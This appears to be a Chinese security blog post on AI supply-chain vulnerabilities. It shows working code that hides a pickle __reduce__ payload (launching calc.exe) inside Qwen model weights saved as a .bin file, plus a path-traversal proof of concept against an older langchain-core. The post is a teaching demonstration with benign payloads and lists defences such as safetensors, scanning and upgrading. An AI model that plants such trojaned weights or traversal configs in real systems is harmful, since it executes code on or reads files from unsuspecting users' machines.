大模型安全之供应链漏洞
概要
供应链指的是一个东西从原材料准备、到生产、到发货、到自己收到货使用的整个流水线,在互联网中,供应链指从开发、分发、用户下载使用的整个过程,而供应链安全表示在整个过程中的安全性,比如软件开发时用到的插件有漏洞、第三方组件有漏洞、依赖库被攻击等等,即整个链条中的某个节点出现了安全问题。
注意软件自身如果有漏洞则不属于供应链问题,供应链指的是别的东西带进来的,比如别人的库、框架、插件、依赖等存在问题。
好比说自己做饭难吃,则不属于供应链问题,但买回来的菜变质了,这个就属于供应链问题。
AI领域的供应链安全则包含了AI的整个生命周期,从开发、部署、维护等涉及的所有步骤和组件,比如数据收集、算法开发、模型训练、模型部署、模型维护等等。
例如预训练模型被植入了木马,第三方训练数据问题(例如之前总结的数据投毒),以及第三方的扩展与生态(例如之前总结的不安全的插件)等,这些都属于供应链问题。
关于数据投毒、不安全的插件等内容可以参考之前的文章,这里来测试两个场景,一个模型植入木马,一个第三方依赖问题。
模型植入木马
很多开源模型都是基于pytorch框架训练的,模型权重格式默认是pt、bin这些,而这些格式都用到了python标准库中的pickle模块,该模块可以进行序列化和反序列化,它在反序列化时有个机制,即可通过__reduce__魔术方法去执行特定的代码。
而模型训练保存时就相当于一个序列化过程,将相关python对象转成二进制字节流存到硬盘,而模型的加载就相当于是反序列化。所以对于pytorch的模型,是可以通过该机制植入木马的。
开始之前,我们先来测试下pickle的序列化和反序列化,便于理解,序列化代码如下:
import pickle
import os
class BadGuy:
def __reduce__(self):
return (os.system, ("calc.exe",))
# 进行序列化,相当于保存为模型文件
with open("bad.bin", "wb") as f:
pickle.dump(BadGuy(), f)
print("恶意文件已生成:bad.bin")
执行后会生成一个bin文件,反序列化代码如下:
import pickle
# 反序列化,相当于加载模型文件
with open("bad.bin", "rb") as f:
data = pickle.load(f)
print("加载完成")
执行后会自动执行bin文件中的reduce方法。下面我们来拿一个模型测试下。
这里以qwen1.5的0.5b为例,思路就是拉取该模型,然后把恶意类注入到模型的层结构中,生成新模型即可。注意:huggingface为了安全,现在平台基本没有bin格式的模型,要求统一提供safetensors格式,该格式不会执行任何代码,所以是安全的。
我们这里拉取qwen模型后,默认就是safetensors,但保存时要保存为bin格式,代码如下:
import torch
from transformers import AutoModelForCausalLM, AutoConfig
import os
import sys
model_id = "Qwen/Qwen1.5-0.5B"
model = AutoModelForCausalLM.from_pretrained(model_id)
# 提取权重字典
state_dict = model.state_dict()
# 制造木马
class TrojanPayload:
def __reduce__(self):
return (os.system, ("calc.exe",))
# 寻找一个真实的参数节点进行注入
# Qwen 的真实层级结构里有 model.layers.0.mlp.down_proj.weight
# 我们在它旁边伪造一个极其逼真的 meta 数据节点
state_dict["model.layers.0.mlp.down_proj.bias_metadata_v2"] = TrojanPayload()
# 保存为bin文件,注意safetensors文件不会执行代码
torch.save(state_dict, os.path.join("./", "pytorch_model.bin"))
# 保存配置文件,让 transformers 库认识这个模型
model.config.save_pretrained("./")
print("eval model success")
执行后,当前目录会多一个pytorch_model的bin文件,和一个config.json配置文件,随后我们用torch进行加载,加载时会触发代码执行:
import torch
try:
weights = torch.load("./pytorch_model.bin", weights_only=False)
print("hack model load success")
except Exception as e:
print(f"error: {e}")
效果如下:

注意上面是用torch加载,也可以用transformers加载,代码如下:
from transformers import AutoModelForCausalLM
try:
model = AutoModelForCausalLM.from_pretrained("./")
print("hack model load success")
except Exception as e:
print(f"error: {e}")
但transformers在较新版本中,加了一个校验机制,会校验当前pytorch的版本,如果pytorch低于2.6,就会禁止调用load去加载模型,因为pytorch在2.6及以上做了安全防护,只会加载数据部分,不会去执行相关指令。
我这里pytorch是2.6以下,所以加载时报错了,transformers禁止进行模型调用。

那如果自己要加载bin模型,可以使用modelscan等工具进行安全扫描,当然攻击者也可能将后门进行加密编码,导致扫描不到,此时可以放到虚拟机中断开网络,然后加载模型,使用wireshark抓包进行分析。
第三方依赖问题
下面再来看一个第三方库的场景,这里以langchain为例,langchain是一个创建智能体的框架,它可以接入模型,也可以定义模型可以调用的工具,这里先来看一个langchain的用法。
先安装下相关的库:
pip install langchain langchain-community langchain-experimental
之后我们通过langchain调用本地的模型,然后工具集定义一个执行python的工具,即PythonREPLTool,这个是langchain自带的工具,随后我们给模型的指令是进行数学计算,如果只靠模型,它本质是随机预测下一个字符,很难得到结果,所以需要借助python工具,写个代码让其执行,从而获得结果,代码如下:
from langchain_community.chat_models import ChatOllama
from langchain_experimental.agents.agent_toolkits import create_python_agent
from langchain_experimental.tools import PythonREPLTool
# 调用本地模型
llm = ChatOllama(model="qwen2.5-coder:7b", temperature=0.1)
# 准备工具箱:这里只放了一个 Python 执行工具
# PythonREPLTool 的功能:接收大模型写出的 Python 代码,然后在服务器上执行,返回结果。
python_tool = PythonREPLTool()
# 将大模型和工具结合,创建 Agent (智能体)
agent = create_python_agent(
llm=llm,
tool=python_tool
)
# 用户提问
user_question = "请用 Python 帮我打印出斐波那契数列的前 10 个数字。"
print(f"\n👤 [用户]: {user_question}")
# 执行任务
try:
agent.invoke({"input": user_question})
except Exception as e:
print(f"执行出错: {e}")
初步了解langchain后,我们来复现一个漏洞,该漏洞是CVE-2026-34070,langchain加载配置文件时没有对路径做校验,可通过目录遍历读取任意文件,受影响版本是小于1.2.22,我们假设我们相关AI代码中引入了langchain库,相当于一个供应链问题,首先创建个python虚拟环境测试:
# 创建虚拟环境
python -m venv langchain_cve
# 激活虚拟环境
langchain_cve\Scripts\activate
# 安装存在漏洞的指定版本
pip install langchain-core==1.2.21
之后运行如下脚本,其配置文件的路径我们放在脚本的上上层目录中,通过…/…/去读取,如下代码:
import os
from langchain_core.prompts.loading import load_prompt_from_config
malicious_config = {
"_type": "prompt",
"template_path": "../../flag.txt",
"input_variables": []
}
try:
# 存在漏洞时,这里就会直接把上上级目录的flag文件当做 Prompt 加载进来
prompt = load_prompt_from_config(malicious_config)
print(">>>", prompt.template)
except Exception as e:
print("fail", e)
运行后可以成功读取到对应的文件内容,效果如下图:

下面对langchain进行升级:
pip install --upgrade langchain-core
升级后再运行脚本,发现提示不能跨目录读取,如下图:

总结
按照供应链问题的边界定义,只要不是开发自己写的代码所产生的漏洞,就都可以归为供应链问题。
小枣信安:专注AI安全,包括但不限于大模型安全、智能体安全、机器人安全、AI赋能网络安全等,欢迎一起学习。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)